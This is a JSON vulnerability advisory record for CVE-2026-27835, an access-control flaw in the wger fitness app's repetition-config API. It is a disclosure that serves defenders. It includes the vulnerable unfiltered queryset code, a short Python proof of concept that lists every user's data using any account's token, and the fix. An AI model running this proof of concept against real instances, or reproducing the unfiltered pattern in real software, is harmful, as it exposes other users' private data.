{"id":"CVE-2026-27835","aliases":["CVE-2026-27835","GHSA-xf68-8hjw-7mpm","PYSEC-2026-3423"],"related":[],"kind":"vulnerability","state":"published","title":"wger: IDOR in RepetitionsConfig and MaxRepetitionsConfig API leak other users' workout data","summary":"wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, `RepetitionsConfigViewSet` and `MaxRepetitionsConfigViewSet` return all users' repetition config data because their `get_queryset()` calls `.all()` instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure. Commit 1fda5690b35706bb137850c8a084ec6a13317b64 contains a fix for the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, `RepetitionsConfigViewSet` and `MaxRepetitionsConfigViewSet` return all users' repetition config data because their `get_queryset()` calls `.all()` instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure. Commit 1fda5690b35706bb137850c8a084ec6a13317b64 contains a fix for the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`RepetitionsConfigViewSet` and `MaxRepetitionsConfigViewSet` return all users' repetition config data because their `get_queryset()` calls `.all()` instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.\n\n### Details\n\n`wger/manager/api/views.py:499` and `:518`:\n\n```python\n# VULNERABLE\nclass RepetitionsConfigViewSet(viewsets.ModelViewSet):\n    def get_queryset(self):\n        return RepetitionsConfig.objects.all()\n\nclass MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):\n    def get_queryset(self):\n        return MaxRepetitionsConfig.objects.all()\n```\n\nEvery sibling viewset in the same file correctly filters by user. For example, `WeightConfigViewSet` at line 459:\n\n```python\n# CORRECT — how it should work\ndef get_queryset(self):\n    return WeightConfig.objects.filter(\n        slot_entry__slot__day__routine__user=self.request.user\n    )\n```\n\nThe same user filter is present on `SetsConfig`, `RestConfig`, `RiRConfig`, and their Max variants — only `RepetitionsConfig` and `MaxRepetitionsConfig` are missing it.\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\nheaders = {\"Authorization\": \"Token YOUR_TOKEN\"}  # any registered user\n\nr = requests.get(f\"{BASE}/api/v2/repetitions-config/\", headers=headers)\nprint(r.json())  # returns ALL users' repetition configs, not just your own\n\nr = requests.get(f\"{BASE}/api/v2/max-repetitions-config/\", headers=headers)\nprint(r.json())  # same — all users' max repetition configs\n```\n\nRegistration is open by default. Sequential IDs allow full enumeration.\n\n### Impact\n\nAny authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.\n\n**Fix**: Add the same user filter used by every other config viewset:\n```python\ndef get_queryset(self):\n    return RepetitionsConfig.objects.filter(\n        slot_entry__slot__day__routine__user=self.request.user\n    )\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"wger es un gestor de entrenamientos y fitness gratuito y de código abierto. En versiones hasta la 2.4 inclusive, 'RepetitionsConfigViewSet' y 'MaxRepetitionsConfigViewSet' devuelven los datos de configuración de repeticiones de todos los usuarios porque su 'get_queryset()' llama a '.all()' en lugar de filtrar por el usuario autenticado. Cualquier usuario registrado puede enumerar la estructura de entrenamiento de cualquier otro usuario. El commit 1fda5690b35706bb137850c8a084ec6a13317b64 contiene una solución para el problema.","source":"nvd"}],"published":"2026-02-26T22:00:23.768Z","modified":"2026-07-13T16:42:25.654Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"}],"cwes":["CWE-639"],"affected":[{"ranges":[{"version":"<= 2.4","status":"affected"}],"vendor":"wger-project","product":"wger","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"2.1"}],"ecosystem":"PyPI","package":"wger","purl":"pkg:pypi/wger","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"2.4"}],"vendor":"wger","product":"wger","cpe":"cpe:2.3:a:wger:wger:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"2.1"}],"ecosystem":"PyPI","package":"wger","purl":"pkg:pypi/wger","source":"pysec"}],"references":[{"url":"https://github.com/wger-project/wger/security/advisories/GHSA-xf68-8hjw-7mpm","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/wger-project/wger/commit/1fda5690b35706bb137850c8a084ec6a13317b64","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27835","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/wger-project/wger","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/wger","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-xf68-8hjw-7mpm","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-03-03T01:38:05.962Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-27835","url":"https://www.cve.org/CVERecord?id=CVE-2026-27835","licence":"CVE Terms of Use","modified":"2026-03-03T01:38:18.118Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xf68-8hjw-7mpm","url":"https://github.com/advisories/GHSA-xf68-8hjw-7mpm","licence":"CC-BY-4.0","modified":"2026-07-13T16:42:25.654Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-27835","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27835","licence":"Public domain","modified":"2026-06-17T10:27:45.913Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3423","url":"https://osv.dev/vulnerability/PYSEC-2026-3423","licence":"CC-BY-4.0","modified":"2026-07-13T16:33:33.012Z"}],"updatedAt":"2026-11-25T22:59:14.978Z","epss":{"score":0.00302,"percentile":0.24698,"date":"2026-12-01T12:00:22.000Z"}}